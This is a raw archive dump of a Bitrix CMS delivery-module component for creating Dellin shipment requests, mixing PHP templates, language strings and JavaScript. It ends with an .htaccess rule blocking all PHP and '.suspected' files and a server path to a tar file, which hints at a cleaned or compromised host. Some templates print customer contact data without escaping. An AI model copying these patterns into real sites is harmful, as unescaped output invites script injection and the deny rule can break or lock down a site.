$MESS["CRM_ORDER_SHIPMENT_SHOW"] = "Просмотреть"; $MESS["CRM_ORDER_SHIPMENT_EDIT_TITLE"] = "Редактировать отгрузку"; $MESS["CRM_ORDER_SHIPMENT_EDIT"] = "Редактировать"; $MESS["CRM_ORDER_SHIPMENT_DELETE_TITLE"] = "Удалить отгрузку"; $MESS["CRM_ORDER_SHIPMENT_DELETE"] = "Удалить"; $MESS["CRM_ORDER_SHIPMENT_DELETE_CONFIRM"] = "Вы уверены, что хотите удалить?"; $MESS["CRM_ORDER_SHIPMENT_LIST_ADD_SHORT"] = "Отгрузка"; $MESS["CRM_ORDER_SHIPMENT_LIST_ADD"] = "Добавить отгрузку"; $MESS["CRM_ORDER_SHIPMENT_REBUILD_ACCESS_ATTRS"] = "Для правильной работы обновлённых прав доступа необходимо выполнить обновление атрибутов доступа на <a id=\"#ID#\" target=\"_blank\" href=\"#URL#\">странице управления правами</a>."; $MESS["CRM_ORDER_SHIPMENT_LIST_FILTER_NAV_BUTTON_LIST"] = "Список"; $MESS["CRM_ORDER_SHIPMENT_SUMMARY"] = "Отгрузка № #NUMBER# от #DATE#"; $MESS["CRM_ORDER_DEDUCTED"] = "Отгружено"; $MESS["CRM_ORDER_NOT_DEDUCTED"] = "Не отгружено"; $MESS["CRM_SHOW_ROW_COUNT"] = "Показать количество"; $MESS["CRM_ALL"] = "Всего"; $MESS["DELLINDEV_HEADER_PAGE"] = "Cоздание заявки на отгрузку № %d в заказе № %d"; $MESS["DELLINDEV_FROM_TERMINAL"] = "От терминала"; $MESS["DELLINDEV_FROM_ADDRESS"] = "От адреса"; $MESS["DELLINDEV_TO_TERMINAL"] = "До терминала"; $MESS["DELLINDEV_TO_ADDRESS"] = "До адреса"; $MESS["DELLINDEV_ADDRESS_TERMINAL_DERIVAL"] = "Адрес терминала отправки"; $MESS["DELLINDEV_ADDRESS_DERIVAL"] = "Адрес отправки"; $MESS["DELLINDEV_ADDRESS_TERMINAL_ARRIVAL"] = "Адрес терминала доставки"; $MESS["DELLINDEV_ADDRESS_ARRIVAL"] = "Адрес доставки"; $MESS["DELLINDEV_DEMENSION_BLOCK"] = "<div style=\"display: flex; flex-direction: column\"> <div>Длина(мм): %d </div> <div>Ширина(мм): %d </div> <div>Высота(мм): %d </div> <div>Масса(г): %d </div> </div>"; $MESS["DELLINDEV_CLIENT_INFO"] = "Сведения о клиенте "; $MESS["DELLINDEV_CLIENT_NAME"] = "Имя клиента: "; $MESS["DELLINDEV_CONTACT_PHONE"] = "Контактный телефон: "; $MESS["DELLINDEV_ADDRESS"] = "Адрес: "; $MESS["DELLINDEV_INFO_SHIPMENT"] = "Информация об отгрузке"; $MESS["DELLINDEV_SCHEME_DELIVERY"] = "Способ доставки: "; $MESS["DELLINDEV_DATE_UNLOAD"] = "Дата отгрузки: "; $MESS["DELLINDEV_CREATE_REQUEST"] = "Создать заявку"; $MESS["DELLINDEV_TRACKING_NUMBER"] = "Трек номер: "; $MESS["DELLINDEV_STATE_DELIVERY"] = "Статус доставки: "; $MESS["DELLINDEV_DATE_DELIVERY"] = "Время прибытия груза: "; $MESS["DELLINDEV_PROCESS_CREATE_REQUEST"] = "Процесс создания заявки"; $MESS["DELLINDEV_NEXT"] = "Продолжить"; $MESS["DELLINDEV_NAMEPRODUCT"] = "Наименование"; $MESS["DELLINDEV_COUNT_IN_SHIPMENT"] = "Количество в отгрузке"; $MESS["DELLINDEV_WGH"] = "ВГХ"; $MESS["DELLINDEV_COST"] = "Цена";components/dellindev/crm.dellin.request/templates/.default/template.php000064400000042012151760651320022446 0ustar00<?php if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true)die(); use Bitrix\Main\Localization\Loc; /** * Bitrix vars * Bitrix vars * @global CUser $USER * @global CMain $APPLICATION * @global CDatabase $DB * @var array $arParams * @var array $arResult * @var CBitrixComponent $component */ $APPLICATION->SetAdditionalCSS("/bitrix/themes/.default/crm-entity-show.css"); if(SITE_TEMPLATE_ID === 'bitrix24') { $APPLICATION->SetAdditionalCSS("/bitrix/themes/.default/bitrix24/crm-entity-show.css"); } if (CModule::IncludeModule('bitrix24') && !\Bitrix\Crm\CallList\CallList::isAvailable()) { CBitrix24::initLicenseInfoPopupJS(); } \Bitrix\Main\UI\Extension::load("ui.dialogs.messagebox"); \Bitrix\Main\UI\Extension::load("ui.buttons"); $orderID = $arParams["LOADER_INFO"]['data']['PARAMS']['orderID']; $shipmentID = $arParams["LOADER_INFO"]['data']['PARAMS']['shipment']; $shipmentData = \Sale\Handlers\Delivery\DellinBlockAdmin::getAllDataForJS($orderID); $result['orderID'] = $orderID; $result['shipmentID'] = $shipmentID; $result['shipmentData'] = $shipmentData; $arParams['LOADER_INFO']["DELLIN"] = $result; $personInfo = $result['shipmentData']['personInfo']; $shipmentInfo = $result['shipmentData']['shipments'][$shipmentID]; $derivalPhrase = ($shipmentInfo['IS_TERMINAL_DERIVAL'])?Loc::getMessage("DELLINDEV_FROM_TERMINAL") : Loc::getMessage("DELLINDEV_FROM_ADDRESS"); $arrivalPhrase = ($shipmentInfo['IS_TERMINAL_ARRIVAL'])?Loc::getMessage("DELLINDEV_TO_TERMINAL") : Loc::getMessage("DELLINDEV_TO_ADDRESS"); $phraseAddressDerival = ($shipmentInfo['IS_TERMINAL_DERIVAL'])? Loc::getMessage("DELLINDEV_ADDRESS_TERMINAL_DERIVAL") : Loc::getMessage("DELLINDEV_ADDRESS_DERIVAL"); $phraseAddressArival = ($shipmentInfo['IS_TERMINAL_ARRIVAL'])? Loc::getMessage("DELLINDEV_ADDRESS_TERMINAL_ARRIVAL") : Loc::getMessage("DELLINDEV_ADDRESS_ARRIVAL"); $schemeDelivery = $derivalPhrase.' - '.$arrivalPhrase; $listProduct = []; foreach ($shipmentInfo["BASKET"] as $value){ $listProduct[] = ['data' => [ 'ID' => $value['productId'], 'NAME' => $value['productName'], 'COUNT' => $value['quantity'], 'WGH' => sprintf(Loc::getMessage("DELLINDEV_DEMENSION_BLOCK"), $value['lenght'], $value['width'], $value['height'], $value['weight']), 'COST' => $value['price'] ] ]; } CJSCore::Init(array("jquery","date")); Bitrix\Main\Page\Asset::getInstance()->addJs('/bitrix/js/crm/progress_control.js'); Bitrix\Main\Page\Asset::getInstance()->addJs('/bitrix/js/crm/activity.js'); Bitrix\Main\Page\Asset::getInstance()->addJs('/bitrix/js/crm/interface_grid.js'); Bitrix\Main\Page\Asset::getInstance()->addJs('/bitrix/js/crm/autorun_proc.js'); Bitrix\Main\Page\Asset::getInstance()->addCss('/bitrix/js/crm/css/autorun_proc.css'); ?> <h1><?=sprintf(Loc::getMessage("DELLINDEV_HEADER_PAGE"), $shipmentID, $orderID) ?></h1> <div id="app" class="crm-doc-cart" style="flex-direction: column;"> <div class="crm-doc-cart" style="display: flex; flex-direction: column;"> <div class="crm-doc-cart-user-info"> <h1><?= Loc::getMessage("DELLINDEV_CLIENT_INFO") ?></h1> </div> <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_CLIENT_NAME") ?><?= $personInfo['personName']?></div> <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_CONTACT_PHONE") ?><?=$personInfo['personPhone']?></div> <div class="crm-doc-cart-user-info">Email: <?=$personInfo['personEmail']?></div> <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_ADDRESS") ?><?=$personInfo['country'].', '.$personInfo['regionName']. ', '.$personInfo['cityName'].', '.$personInfo['personAddress']?></div> </div> <div class="crm-doc-cart" style="flex-direction: column"> <div class="crm-doc-cart-user-info"> <h1><?= Loc::getMessage("DELLINDEV_INFO_SHIPMENT") ?></h1> </div> <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_SCHEME_DELIVERY") ?><?= $schemeDelivery?></div> <div class="crm-doc-cart-user-info"><?= $phraseAddressDerival?>: <?= $shipmentInfo['ADDRESS_DERIVAL']?></div> <div class="crm-doc-cart-user-info"><?= $phraseAddressArival ?>: <?= $shipmentInfo['ADDRESS_ARIVAL']?></div> <div class="crm-doc-cart"> <? $APPLICATION->IncludeComponent( 'bitrix:main.ui.grid', '', [ 'GRID_ID' => 'report_list', 'COLUMNS' => [ ['id' => 'ID', 'name' => 'ID', 'sort' => 'ID', 'default' => true], ['id' => 'NAME', 'name' => Loc::getMessage("DELLINDEV_NAMEPRODUCT"), 'sort' => 'NAME', 'default' => true], ['id' => 'COUNT', 'name' => Loc::getMessage('DELLINDEV_COUNT_IN_SHIPMENT'), 'sort' => 'COUNT', 'default' => true], ['id' => 'WGH', 'name' => Loc::getMessage("DELLINDEV_WGH"), 'sort' => 'WGH', 'default' => true], ['id' => 'COST', 'name' => Loc::getMessage('DELLINDEV_COST'), 'sort' => 'COST', 'default' => true], ], 'ROWS' => $listProduct, 'SHOW_ROW_CHECKBOXES' => false, 'AJAX_MODE' => 'Y', 'AJAX_ID' => \CAjax::getComponentID('bitrix:main.ui.grid', '.default', ''), 'AJAX_OPTION_JUMP' => 'N', 'SHOW_CHECK_ALL_CHECKBOXES' => false, 'SHOW_ROW_ACTIONS_MENU' => false, 'SHOW_GRID_SETTINGS_MENU' => false, 'SHOW_NAVIGATION_PANEL' => false, 'SHOW_PAGINATION' => false, 'SHOW_SELECTED_COUNTER' => false, 'SHOW_TOTAL_COUNTER' => false, 'SHOW_PAGESIZE' => false, 'SHOW_ACTION_PANEL' => false, 'ALLOW_COLUMNS_SORT' => false, 'ALLOW_COLUMNS_RESIZE' => true, 'ALLOW_HORIZONTAL_SCROLL' => false, 'ALLOW_SORT' => false, 'ALLOW_PIN_HEADER' => false, 'AJAX_OPTION_HISTORY' => 'N' ] ); ?> </div> <?php if (!$shipmentInfo['TRACKING_NUMBER']): ?> <div class="crm-doc-cart"> <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_DATE_UNLOAD") ?><input id="produce-date" value="<?= $shipmentInfo['DEFAULT_DATE'] ?>" > </div> <button id="send" class="ui-btn ui-btn-success"><?= Loc::getMessage("DELLINDEV_CREATE_REQUEST") ?></button> </div> <? else : ?> <div class="crm-doc-cart"> <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_TRACKING_NUMBER")?> <?= $shipmentInfo['TRACKING_NUMBER'] ?></div> <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_STATE_DELIVERY") ?> <?= $shipmentInfo['STATUS_TRACKING'] ?></div> <div class="crm-doc-cart-user-info"><?= Loc::getMessage("DELLINDEV_DATE_DELIVERY") ?><?= $shipmentInfo['DATE_ARRIVAL'] ?></div> </div> <? endif ?> </div> </div> <script> BX.ready(function () { BX.namespace('BX.DellinCRM'); BX.message({ "DELLINDEV_PROCESS_CREATE_REQUEST" : "<?=Loc::getMessage('DELLINDEV_PROCESS_CREATE_REQUEST') ?>", 'DELLINDEV_NEXT' : " <?=Loc::getMessage('DELLINDEV_NEXT') ?>" }); BX.DellinCRM = { postData: { action: 'create_order', order_id: <?=$orderID ?> , shipment_id: <?= $shipmentID?>, is_order: true, produce_date: "<?= $shipmentInfo['DEFAULT_DATE'] ?>", sessid: BX.bitrix_sessid(), }, dateCalendar: "<?= $shipmentInfo['DEFAULT_DATE'] ?>", createCalendarWithStateForValidWorkInIframe: function(event){ BX.calendar({node: event.target, field: event.target, bTime: false, callback_after: function(event) { BX.DellinCRM.postData.produce_date = BX.date.format("d.m.Y", event); console.log('Changed date to:', BX.DellinCRM.postData.produce_date); } }); }, renderErrorsBlockInAlert: function (result) { let block = document.createElement('div'); block.style = 'color:red;'; Object.values(result.errors).map((item) => { let span = document.createElement('span'); span.innerHTML = item; let br = document.createElement('br'); block.appendChild(span); block.appendChild(br); }); return block.outerHTML; }, alertIfsuccess: function (message, action) { BX.UI.Dialogs.MessageBox.show( { message: message, title: BX.message('DELLINDEV_PROCESS_CREATE_REQUEST'), buttons: [ new BX.UI.Button( { color: BX.UI.Button.Color.DANGER, text: action, onclick: function (button, event) { setTimeout(() => window.location.reload(), 3000); button.context.close(); } } ), new BX.UI.CancelButton() ], } ); }, alertIfPriceChange: function (message, action, postData) { BX.UI.Dialogs.MessageBox.show( { message: message, title: BX.message('DELLINDEV_PROCESS_CREATE_REQUEST'), buttons: [ new BX.UI.Button( { color: BX.UI.Button.Color.DANGER, text: action, onclick: function (button, event) { postData.price_changed = true; console.log('Data sended:', postData); BX.DellinCRM.ajaxSend(postData); //TODO �������� �������� button.context.close(); } } ), new BX.UI.CancelButton() ], } ); }, alertIfError: function (message, action) { BX.UI.Dialogs.MessageBox.show( { message: message , title: BX.message('DELLINDEV_PROCESS_CREATE_REQUEST'), buttons: [ new BX.UI.Button( { color: BX.UI.Button.Color.DANGER, text: action, onclick: function (button, event) { button.context.close(); } } ), new BX.UI.CancelButton() ], } ); }, ajaxSend: function (postData) { BX.DellinCRM.showLoading(); BX.ajax({ timeout: 300, method: 'POST', dataType: 'json', url: '/bitrix/tools/dellindev.shipment/dellin_ajax.php', data: postData, onsuccess: function(result) { if (!result) return; // console.log(result); if(result.status == 'success'){ BX.DellinCRM.hideLoading(); BX.DellinCRM.alertIfsuccess(result.message, BX.message('DELLINDEV_NEXT')); } if(result.status == 'price_changed'){ BX.DellinCRM.hideLoading(); console.log('response price_change', result); BX.DellinCRM.alertIfPriceChange(result.message, BX.message('DELLINDEV_NEXT'), postData); } if(result.status == 'price_update'){ BX.DellinCRM.hideLoading(); postData.price_changed = false; BX.DellinCRM.ajaxSend(postData) } if(result.status == 'error'){ BX.DellinCRM.hideLoading(); let info = result.message + '<br/>' + BX.DellinCRM.renderErrorsBlockInAlert(result); BX.DellinCRM.alertIfError(info, BX.message('DELLINDEV_NEXT')); console.error('Errors type:',result.typeErrors); Object.values(result.errors).map((item) => console.error(item)); } }, onfailure: function(status) { console.log("onfailture", status); } }); }, showLoading: function (){ BX.DellinCRM.hideLoading(); let contentCDialogBlock = document.querySelector('#app'); let loadingWrap = BX.DellinCRM.createLoadingWrap(); let loading = BX.DellinCRM.createLoadingBlock(); contentCDialogBlock.appendChild(loadingWrap); contentCDialogBlock.appendChild(loading); }, hideLoading: function(){ let loadingWrap = document.querySelector('.loading-wrap'); let loading = document.querySelector('.loading'); if(!loadingWrap) return; if(!loading) return; loadingWrap.remove(); loading.remove(); }, createLoadingWrap: function(){ let loadingWrap = document.createElement('div'); loadingWrap.className = 'loading-wrap'; loadingWrap.style = ' width: 100%;' + ' height: 100%;' + ' position: absolute;' + ' top: 0;' + ' left: 0;' + ' background: rgba(0,0,0,0.5);' + ' z-index:99;'; return loadingWrap; }, createLoadingBlock: function(){ let styleForBlocks = ' position: fixed;' + ' top: 0px;' + ' right: 0px;' + ' z-index: 9999;' + ' background: #fff;' + ' padding: 20px;' + ' border-radius: 10px;' + ' box-shadow:0 0 5px rgba(0,0,0,0.5);'; let loading = document.createElement('div'); loading.className = 'loading'; loading.style = styleForBlocks; let span = document.createElement('span'); span.className = 'loading-content'; span.style = styleForBlocks; let img = document.createElement('img'); img.src = '/bitrix/js/main/core/images/wait.gif'; span.appendChild(img); loading.appendChild(span); return loading; }, }; let button = document.querySelector('#send'); let inputProduceDate = document.querySelector('#produce-date'); inputProduceDate.addEventListener('click', (event)=>{ BX.DellinCRM.createCalendarWithStateForValidWorkInIframe(event); }); //let postData = { // action: 'create_order', // order_id: <?//=$orderID ?>// , // shipment_id: <?//= $shipmentID?>//, // is_order: true, // produce_date: BX.DellinCRM.dateCalendar, // sessid: BX.bitrix_sessid(), //}; button.addEventListener('click', ()=>{ console.log(BX.DellinCRM.postData); BX.DellinCRM.ajaxSend(BX.DellinCRM.postData); }) }) </script> components/dellindev/dellindev.shipment.widgetsettings/.parameters.php000064400000000212151760651320022471 0ustar00<?php if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED!==true)die(); $arComponentParameters = Array( 'PARAMETERS' => array() ); ?>components/dellindev/dellindev.shipment.widgetsettings/lang/ru/class.php000064400000000225151760651320022730 0ustar00<? $MESS["SALE_LOCATION_MAP_BUTTON"] = "Сопоставить местоположения"; ?>components/dellindev/dellindev.shipment.widgetsettings/lang/en/class.php000064400000000072151760651320022704 0ustar00<? $MESS["SALE_LOCATION_MAP_BUTTON"] = "Map locations"; ?>components/dellindev/dellindev.shipment.widgetsettings/class.php000064400000002130151760651320021356 0ustar00<? if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); use Bitrix\Main\Localization\Loc; Loc::loadMessages(__FILE__); class CSaleDellinWidget extends CBitrixComponent { protected function checkParams($params) { if(!isset($params['yandex_map_api_key'])) throw new \Bitrix\Main\ArgumentNullException('yandex_map_api_key'); } public function onPrepareComponentParams($params) { if(isset($_REQUEST['ID']) || !empty($_REQUEST['ID'])) { $configParams = \Bitrix\Sale\Delivery\Services\Manager::getById((int)$_REQUEST['ID']); $params['WIDGET'] = $configParams['CONFIG']['WIDGET']; } $params['yandex_map_api_key']=COption::GetOptionString("fileman", "yandex_map_api_key"); return $params; } public function executeComponent() { try { $this->checkParams($this->arParams); } catch(\Exception $e) { ShowError($e->getMessage()); return; } if(!CModule::IncludeModule('sale')) { ShowError("Module sale not installed!"); return; } CJSCore::Init('core', 'ajax'); $this->includeComponentTemplate(); } }components/dellindev/dellindev.shipment.widgetsettings/templates/.default/lang/ru/template.php000064400000002117151760651320027140 0ustar00<? $MESS["DELLINDEV_SHIPMENT_KLUC_DLA"] = "Ключ API для Yandex Карт"; $MESS["DELLINDEV_SHIPMENT_PRIMECANIE_POLE_KL"] = "Примечание: поле \"Ключ API для Yandex Карт\" заполняется внутри модуля "; $MESS["DELLINDEV_SHIPMENT_UPRAVLENIE_STRUKTURO"] = "Управление структурой\""; $MESS["DELLINDEV_SHIPMENT_ESLI_KLUC_ANDEKSA_NE"] = "Если ключ яндекса не указан - карта не отобразится. "; $MESS["DELLINDEV_SHIPMENT_DRUGIE_NASTROYKI"] = "Другие настройки"; $MESS["DELLINDEV_SHIPMENT_PREDSTAVLENIE_VIDJET"] = "Представление виджета"; $MESS["DELLINDEV_SHIPMENT_ISPOLQZOVATQ_STAROE"] = "Использовать старое представление"; $MESS["DELLINDEV_SHIPMENT_ISPOLQZOVATQ_NOVOE_P"] = "Использовать новое представление с картами"; $MESS["DELLINDEV_SHIPMENT_ISPOLQZOVATQ_NOVOE_P1"] = "Использовать новое представление и не использовать карту"; ?>components/dellindev/dellindev.shipment.widgetsettings/templates/.default/lang/en/template.php000064400000002117151760651320027114 0ustar00<? $MESS["DELLINDEV_SHIPMENT_KLUC_DLA"] = "Ключ API для Yandex Карт"; $MESS["DELLINDEV_SHIPMENT_PRIMECANIE_POLE_KL"] = "Примечание: поле \"Ключ API для Yandex Карт\" заполняется внутри модуля "; $MESS["DELLINDEV_SHIPMENT_UPRAVLENIE_STRUKTURO"] = "Управление структурой\""; $MESS["DELLINDEV_SHIPMENT_ESLI_KLUC_ANDEKSA_NE"] = "Если ключ яндекса не указан - карта не отобразится. "; $MESS["DELLINDEV_SHIPMENT_DRUGIE_NASTROYKI"] = "Другие настройки"; $MESS["DELLINDEV_SHIPMENT_PREDSTAVLENIE_VIDJET"] = "Представление виджета"; $MESS["DELLINDEV_SHIPMENT_ISPOLQZOVATQ_STAROE"] = "Использовать старое представление"; $MESS["DELLINDEV_SHIPMENT_ISPOLQZOVATQ_NOVOE_P"] = "Использовать новое представление с картами"; $MESS["DELLINDEV_SHIPMENT_ISPOLQZOVATQ_NOVOE_P1"] = "Использовать новое представление и не использовать карту"; ?>components/dellindev/dellindev.shipment.widgetsettings/templates/.default/template.php000064400000004256151760651320025577 0ustar00<?if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die(); use Bitrix\Main\Localization\Loc; Loc::loadMessages(__FILE__); ?> <tr class="heading"> <td colspan="2"><?= GetMessage("DELLINDEV_SHIPMENT_KLUC_DLA") ?><br/> <small><?=GetMessage("DELLINDEV_SHIPMENT_PRIMECANIE_POLE_KL")?><a href="/bitrix/admin/settings.php?lang=ru&mid=fileman&mid_menu=1">"<?=GetMessage("DELLINDEV_SHIPMENT_UPRAVLENIE_STRUKTURO")?></a> <br/> <?=GetMessage("DELLINDEV_SHIPMENT_ESLI_KLUC_ANDEKSA_NE")?></small></td> </tr> <tr> <td width="40%"><?= GetMessage("DELLINDEV_SHIPMENT_KLUC_DLA") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <input type="text" readonly value='<? echo $arParams['yandex_map_api_key'] ?>' > </td> </tr> <tr class="heading"> <td colspan="2"><?= GetMessage("DELLINDEV_SHIPMENT_DRUGIE_NASTROYKI") ?><br/></td> </tr> <tr> <td width="40%"><?= GetMessage("DELLINDEV_SHIPMENT_PREDSTAVLENIE_VIDJET") ?></td> <td width="60%" id="b_sale_hndl_dlv_add_loc_count"> <select name="CONFIG[WIDGET][VIEW_TYPE]"> <option value="0" <? ($arParams['WIDGET']['VIEW_TYPE'] == '0')?print('selected'):''; ?>><?= GetMessage("DELLINDEV_SHIPMENT_ISPOLQZOVATQ_STAROE") ?></option> <option value="1" <? ($arParams['WIDGET']['VIEW_TYPE'] == '1')?print('selected'):''; ?>><?= GetMessage("DELLINDEV_SHIPMENT_ISPOLQZOVATQ_NOVOE_P") ?></option> <option value="2" <? ($arParams['WIDGET']['VIEW_TYPE'] == '2')?print('selected'):''; ?>><?= GetMessage("DELLINDEV_SHIPMENT_ISPOLQZOVATQ_NOVOE_P1") ?></option> </select> </td> </tr> <script type="text/javascript"> BX.message({ "SALE_LOCATION_MAP_CLOSE": "<?=Loc::getMessage("SALE_LOCATION_MAP_CLOSE")?>", "SALE_LOCATION_MAP_LOC_MAPPING": "<?=Loc::getMessage("SALE_LOCATION_MAP_LOC_MAPPING")?>", "SALE_LOCATION_MAP_CANCEL": "<?=Loc::getMessage("SALE_LOCATION_MAP_CANCEL")?>", "SALE_LOCATION_MAP_PREPARING": "<?=Loc::getMessage("SALE_LOCATION_MAP_PREPARING")?>", "SALE_LOCATION_MAP_LOC_MAPPED": "<?=Loc::getMessage("SALE_LOCATION_MAP_LOC_MAPPED")?>" }); BX.ready(function() { }); </script> .htaccess000044400000000177151760651320006353 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>
/var/www/amortar/data/www/amg174.ru/./dostavka-i-oplata/../7c7f9/./local.tar